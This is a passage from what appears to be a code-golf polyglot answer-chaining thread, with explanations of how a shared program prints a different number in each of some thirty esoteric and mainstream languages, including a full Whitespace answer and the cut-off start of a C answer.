2. So I set out to learn it.\nBrain-Flak turned out to be pretty great for this kind of challenge because it's fairly easy to learn and it ignores pretty much any characters except `(){}[]<>`. `#` also happens to comment anything after it on the same line, so the only part of the last submission that was ever considered for Brain-Flak was `print((eval(\"1\\x2f2\")and 9 or 13)-(0and 4)^1<<65>>62)` which then paired down to `((())()<<>>)`. So then the plan became adding superfluous parenthesis to what I've come to think of as the python code.\nI modified the python bits to parse in Brain-Flak to `((() () ())()()<<()>>)` which equates to 2 stacks the first being 5 and the second being 3. After that I'm squaring the 5 with `({({})({}[()])}{})` and adding the result to 3 with `({}{})`. This squaring and adding is going on in a string from a Python perspective. I can't claim to understand Python's reasoning here, but I am fairly confident that this string isn't otherwise being evaluated by other languages in a meaningful way, with only a couple exceptions.\nJapt, it turns out, interprets curly braces within a string as containing code, but these were easy enough to escape out with `\\` before each `{` in this string. But this bloated up the byte count. Such is life.\nPrelude was pretty forgiving with all of my parentheses. An earlier comment pointed out that Prelude would have fits with vertically aligned Parentheses and I happened to only create one. Sweet! The `(` in the top line lined up with the and `(9` in the big line. So I had to add an additional space before the `(` in the top line. My assumption here is that the double space was a comment indicator for something, so adding an additional space seemed trivial, and it worked. I should point out that I tried adding a additional spaces in the `(9)` instead, but Cardinal didn't cooperate.\n05AB1E didn't like my first attempt at the Python string being encapsulated in double quotes, but everyone seemed agreeable to using single quotes. Not a big deal there.\nHexagony was the only language left at this point, and I was obviously way past the next hex size threshold, so it was time to get dirty. The `/^23!@` is the Hexagony code and I'm super excited about it, because I think it'll make future additions much easier. This little piece can basically be moved anywhere in the python string without busting any code. This is the full string just so we're all on the same page `'(\\{(\\{})(\\{}\\/^23!@[()])}\\{})(\\{}\\{})'`. The `/` here sets the path of Hexagony from SE ->NW to W-> E down this string, which we have a lot of leeway with. (The preceding `\\` is to escape `/` for thutu BTW). My idea here is if you make changes, odds are that you'll end up going through this string at some point and you can slide the Hexagony piece around within the string to catch the code path and send it to the proper conclusion. Just take care not to come between Japt's `\\` and the `{`. If you have trouble with this, the `@` to the right of the string is just left over from another Hexagony solution, and can be removed without consequence to the other languages. And of course if you happen to catch Hexagony's code path going the opposite direction, you can of course use `@!32^\\` instead of `/^23!@`. Also, you may notice that my solution removed the `===2` from the code to keep things under the byte limit. Someone mentioned in here that this was for Hexagony's alignment and I didn't need it anymore.\nFinally, [here](https://tio.run/nexus/cjam#PY3NTsJAFIVfZZiR9N7WMsxtGaC0TRdduWBhl/wFBZEEW4EG0f48g3vfzhepEI05J@dLvs1pdoldLG5dExz5svdi1a4Ko2NVb3ERA0n7Y5GYcWRHEhJzHB0r2TTipLTkPtfyobOPOHgeep7HGAMiTMQodblyuQidsY5ULytDNjfzPDdry6rrui2COr3z77kiPhIT4Zevh22aA6xPyx1wNT3TE3FcpisGQ2TZgYFyEG3oXpWLc1Do@6B7GIaaMDsYMC0urfA6UzknpxVNAGdY/csLDRG5GgbW8C9BCwPx@6z6KGZi/ficMVKilIGS5AbnYNiVYvD9@bXabLZ0IStVqW@kNAzqMSbC4/KdUV9w0j8) is a little piece of code I found while exploring codegolf that converts a line of text into a Hexagony readable hexagon so you can debug. I'm sure plenty of people know about this, but I hadn't seen it posted here, so it might help someone else too. Fair warning, you have to alter the input to remove the back ticks and carriage returns as well as swap the literal escape for something that takes up normal amount of space to get the code to line things up in a pretty Hexagon.\nP.S. While I was writing this out, I realized I had a mistake. I had believed I was clearing Hexagony's memory edge for with the `^`, but apparently I can replace it with a no-op to no consequence. That `^` should probably be a `+` if you try to manipulate this section. I was apparently passing through a `+` prior to this, but future polyglotters may not be so lucky.\nGood Luck!\n[Answer]\n# 30. [Whitespace](https://web.archive.org/web/20150618184706/http://compsoc.dur.ac.uk/whitespace/tutorial.php), 296 bytes\n```\n#v`16/\"<\"6/b.q@\"(: ::T): ␉␉␉␉ :(22)S#;n4\"14\"\n#>3N6@15o|>␉^*ttt*~++~~~%\n#=~nJ>62)or'(\\{(\\{})(\\{\\/+23!@}[()])}\\{})(\\{}\\{})'#46(8+9+9+9+9+=!)=#print(17)#]#echo 21#|/=1/24=x=90/\n#8␛dggi2␛␉` |1|6$//''25 #>say␉␉ 27#T222999\"26\n```\n␛ represents literal escapes.\n␉ represents literal tabs.\nThis program prints [**30** in Whitespace](https://tio.run/nexus/whitespace#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**29** in Trigger](https://tio.run/nexus/trigger#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**28** in Brain-Flak](https://tio.run/nexus/brain-flak#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**27** in Perl 6](https://tio.run/nexus/perl6#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**26** in 05AB1E](https://tio.run/nexus/05ab1e#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**25** in Pip](https://tio.run/nexus/pip#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**24** in Thutu](https://tio.run/nexus/thutu#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**23** in Hexagony](https://tio.run/nexus/hexagony#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**22** in Underload](https://tio.run/nexus/underload#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**21** in Nim](https://tio.run/nexus/nim#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**20** in Prelude](https://tio.run/nexus/prelude#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), **19** in Reng (tested [here](https://jsfiddle.net/Conor_OBrien/avnLdwtq/)), [**18** in Cardinal](https://tio.run/nexus/cardinal#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**17** in Julia](https://tio.run/nexus/julia5#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**16** in Pyth](https://tio.run/nexus/pyth#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**15** in Haystack](https://tio.run/nexus/haystack#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**14** in Turtlèd](https://tio.run/nexus/turtled#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**13** in Ruby](https://tio.run/nexus/ruby#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**12** in Fission](https://tio.run/nexus/fission#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**11** in Befunge-98](https://tio.run/nexus/befunge-98#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**10** in Befunge-93](https://tio.run/nexus/befunge#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**9** in Perl 5](https://tio.run/nexus/perl#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**8** in Retina](https://tio.run/nexus/retina#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**7** in Japt](https://tio.run/nexus/japt#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**6** in SMBF](https://tio.run/nexus/smbf#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**5** in Python 2](https://tio.run/nexus/python2#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**4** in ><>](https://tio.run/nexus/><>#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**3** in Minkolang](https://tio.run/nexus/minkolang#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), [**2** in V/Vim](https://tio.run/nexus/v#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw), and [**1** in Python 3](https://tio.run/nexus/python3#LU/BToNQEDzDL/Ty@lbDbom@vgVeCwXSswcP2ltpA9pamxjQSpoaKb@OqJ3d2UlmDpvp4Jhro2QsjXq6/ZhLjEQULSgSwuohImSmR5iVvtS@tCH17s1cB1WTWutRXdej1nXbtr22IWnLu/hBapYzYdmw7JnHeWO/H/Zljbg9Fm8odXbiF5ZUlBuBIVUH1B7RDY5/DZ/WqCmO0QSUpob72MHsu98z9SdTLnvD@XmJtKLzxfxTB3yDUze8TDKkBP7f6gnBCrbPr5VgDY1KtGI/OSXhWNkwHWx2uz0PrFw0ujFXSjkOB0JA@ll89d15AgtmDsNQsum6Hw).\nWhitespace is another esolang with a limited character set. This one only reads tabs, spaces, and line feeds.\nSo once we take out all the stuff that Whitespace doesn’t read we’re left with the following code:\n```\n[space][space][space][LF]\n[space][LF]\n[LF]\n[LF]\n[LF]\n[space][space][space][space][space][LF]\n[space][space][space][space]\n```\nAnd the code to output 30 is this:\n```\n[space][space][space][tab][tab][tab][tab][space][LF]\n[tab][LF]\n[space][tab]\n```\nSo the top 3 lines of the existing code were given extra spaces at the end of lines to meet the requirements. Note that line 1’s tabs and trailing space are in the middle of the line to accommodate ><>’s needs. \nLine 2’s space was changed to a tab here. This seems to function Identically to a space for the 2D languages, but visually it doesn’t line up anymore. ¯\\\\_(ツ)\\_/¯\nAfter the instructions to output 30, the game became getting the rest of the necessary spaces and line feeds to do pointless things and compile correctly. \nWhite space happens to have instructions that mark/goto a code location with a label that allows for an arbitrary number of tabs and spaces, so that helped couch the long line’s spaces. It also starts and ends with a line feed, so that helped us up some of the line feeds in lines 3-6. \nThe final line couldn’t have a linefeed without breaking Retina, so its instructions are to do some arbitrary math and stack manipulation. \nHere’s the full code with spaces, tabs, and linefeeds replaced with our notation:\n```\n#v`16/\"<\"6/b.q@\"(:[Space]::T):[Space][Space][Tab][Tab][Tab][Tab][Space]:(22)S#;n4\"14\"[LF]\n#>3N6@15o|>[Tab]^*ttt*~++~~~%[LF]\n#=~nJ>62)or'(\\{(\\{})(\\{\\/+23!@}[()])}\\{})(\\{}\\{})'#46(8+9+9+9+9+=!)=#print(17)#]#echo[Space]21#|/=1/24=x=90/[LF]\n#8␛dggi2␛[Tab]`[Space]|1|6$//''25[Space][Space]#>say[Tab][Tab][Space]27#T222999\"26[LF]\n```\nAnd here is a commented version of just the Whitespace:\n```\nPush 30 onto the stack\n[space][space][space][tab][tab][tab][tab][space][LF]\nOutput the number at the top of the stack\n[tab][LF][space][tab] \nJump to label null if the top of the stack is negative. (it's not)\n[LF][Tab][LF]\nLabel this location as [Space]\n[LF][Space][Space][Space][LF]\nAdd the top two items on the stack and replace them with the result. \n[Tab][Space][Space][Space]\nStore the stack.\n[Tab][Tab][Space]\n```\nEdits:\nHexagony turns out to skip over tabs just like spaces, contrary to my previous assertion. @ais523 was kind enough to update @Kenney's Hexagonizer to account for literal escapes and tabs. I had to modify it to correct my prior assertion about tabs being read as no-ops and to replace literal escapes with `.` because the `␛` character is wider than other characters, making the hex slightly misaligned. [Here the link](https://tio.run/nexus/perl#LVBNc9owED3DX@CiWFssoeBFwjgYWx7OOfTQ5IYJdsAQOtROMWFgjP3XqaDRx672ad@8J12/yox8HdbjoNoVy3QHGMBCh1FQlzhLYtKK8zniJjhjBx0MKgY7fUbEJY8YfGgphj0hIO8xyPuS8253n62KGkoNC8d27JNp6sOOB@tizyDVkAeQhgxWWvXuDFMKwStDaEp0KkhrhG6c46NB9tkx25cZg5IbOhk4jqyNud/FNgd8/JN@Vswm9omk7@VNHrZC3Dw4sLgZaDB@EcZ5aTIS6Jrj536bH65Xekykh1Zoefju/J1abEImk1c@IaRlBpkwpfgLDXLXkq7VptHwpzeVo@IStd56h8Oh1wjRNM2PNtVN/hz@sqSyAtJq05nZSZhc2ncdxrJjumOWjE9qrSye5ivCfG7@QQ4577PBDXD5G5M8DJk34lHkKXNts7gyq@YmxCjU8GFazxif8/obvGebuh4bC/976geu6X9Z@cTpnGbLj4IoSS@oJSpXn7Q/wDYdd1abzVZ1Wgm5yIsHiLatRoTQqEzP5u3qib4qpXzft5T3Dw).\nAnd this is our corrected current Hex:\n```\n # v 1 6 / \" < \" 6 /\n b . q @ \" ( : : : T )\n : : ( 2 2 ) S # ; n 4 \"\n 1 4 \" # > 3 N 6 @ 1 5 o |\n > ^ * t t t * ~ + + ~ ~ ~ %\n # = ~ n J < R \" 1 2 \" ; # [ #\n < | p r i n t ( ( e v a l ( \" 1\n \\ x 2 f 2 \" ) a n d ( 9 ) o r ( 1\n 3 ) ) - ( 0 a n d 4 ) ^ ( 1 ) < < (\n 6 5 ) > > 6 2 ) o r ' ( \\ { ( \\ { } )\n ( \\ { \\ / + 2 3 ! @ } [ ( ) ] ) } \\\n { } ) ( \\ { } \\ { } ) ' # 4 6 ( 8\n + 9 + 9 + 9 + 9 + = ! ) = # p r\n i n t ( 1 7 ) # ] # e c h o 2\n 1 # | / = 1 / 2 4 = x = 9 0\n / # 8 . d g g i 2 . | 1 |\n 6 $ / / ' ' 2 5 # > s a\n y 2 7 # T 2 2 2 9 9 9\n \" 2 6 . . . . . . .\n```\nFinally, I golfed out some needless characters, mostly added previously to line up Prelude parenthesis and Hexagony hexagons. \nNim’s code is back to `echo 21` from `echo 5+5+11`\nHexagony’s `#@46` is now `#46` \nHexagony’s code is back to `/+23!@=` from `/+23!@`\nPrelude’s parenthetical alignment of `(9) or (13)` became `(9)and(13)`\nWell, that’s all I got. Good Luck everyone!\n[Answer]\n# 38. C, 804 bytes\n```\n# 1\"16\" 3//v\\(@#/;n4\"14\"\n#/*`3 auaaZ<>16/\"<\"6/b.q@\")(22)S# ␉␉␉␉ \n#yy␉;36!@\n# ␉\n#=␉>\n#[#yy#yy0l0mx01k1k0l0ix0jx0h0h1d111P0eU0bx0b0o1d0b0e0e00x1d0i0fx0g0n0n11x0o0n0cx0c0o0f0c0gx0g0f0h0j0j0i0001k10mx0m0l11111100(^_)\n#`<`␉|\nprint((eval(\"1\\x2f2\")and( 9 )or(13 ))-(0and 